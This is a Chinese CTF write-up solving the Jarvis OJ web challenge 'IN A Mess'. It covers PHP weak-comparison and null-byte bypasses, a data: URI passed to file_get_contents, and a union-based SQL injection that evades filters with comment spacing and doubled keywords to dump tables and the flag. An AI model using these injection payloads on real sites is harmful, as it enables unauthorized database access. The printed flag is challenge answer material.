Jarvis OJ-IN A Mess

IN A Mess

时间:2018年10月6日 汇报人:王祎洁

题目

http://web.jarvisoj.com:32780/index.php?id=1
在这里插入图片描述

题解

进入页面,发现没啥,查看源代码,发现index.phps
在这里插入图片描述

进入后读代码,发现三个参数:a,b,id。
Jarvis OJ-IN A Mess_第1张图片
id:id==0典型的PHP弱比较,利用id=0aid=0e123id=asd均可实现绕过

b:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 这里要求:b的长度大于5,且是基于eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%00411111
此处链接一篇博客可供参考:https://blog.csdn.net/qq_31481187/article/details/60968595

a:由data进行赋值:$data = @file_get_contents($a,'r') 而又有$data=="1112 is a nice lab!" 可以利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥
此处链接一篇博客可供参考:https://blog.csdn.net/lxgwm2008/article/details/38437875
这里采用的格式是:data:,

最后在地址栏输入id=0e&a=data:,1112 is a nice lab!&b=%00411111,得到:
在这里插入图片描述

发现 {/^HT2mCpcvOLf} 不像flag,像一个目录,于是,尝试在地址栏输入:http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php
在这里插入图片描述

发现,跳转后自动后补id=1,考虑sql注入

尝试进行注入,发现此时,简单过滤了空格,利用/*1*/绕过,且去除敏感字符

于是有:id=1/*1*/and/*1*/1/*1*/=/*1*/1显示正常
在这里插入图片描述

id=1/*1*/and/*1*/1/*1*/=/*1*/2 显示错误,存在注入
在这里插入图片描述

id=1/*1*/order/*1*/by/*1*/1 显示正常
在这里插入图片描述

id=1/*1*/order/*1*/by/*1*/2 显示正常
在这里插入图片描述

id=1/*1*/order/*1*/by/*1*/3 显示正常
在这里插入图片描述

id=1/*1*/order/*1*/by/*1*/4 显示错误,字段数为3
在这里插入图片描述

下面开始爆数据库:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(database())%23
在这里插入图片描述
得到数据库名test

接下来开始爆表名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(seselectlect/*12*/group_concat(table_name)/*12*/frfromom/*12*/information_schema.tables/*12*/where/*12*/table_schema=database())%23
在这里插入图片描述
得到表名:content

接下来爆列名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/group_concat(column_name)/*12*/frofromm/*12*/information_schema.columns/*12*/where/*12*/table_name=0x636f6e74656e74)%23
在这里插入图片描述
得到列名:context

读取内容:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/context/*12*/frofromm/*1*/content)%23
在这里插入图片描述
得到flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

你可能感兴趣的:(CTF之Web)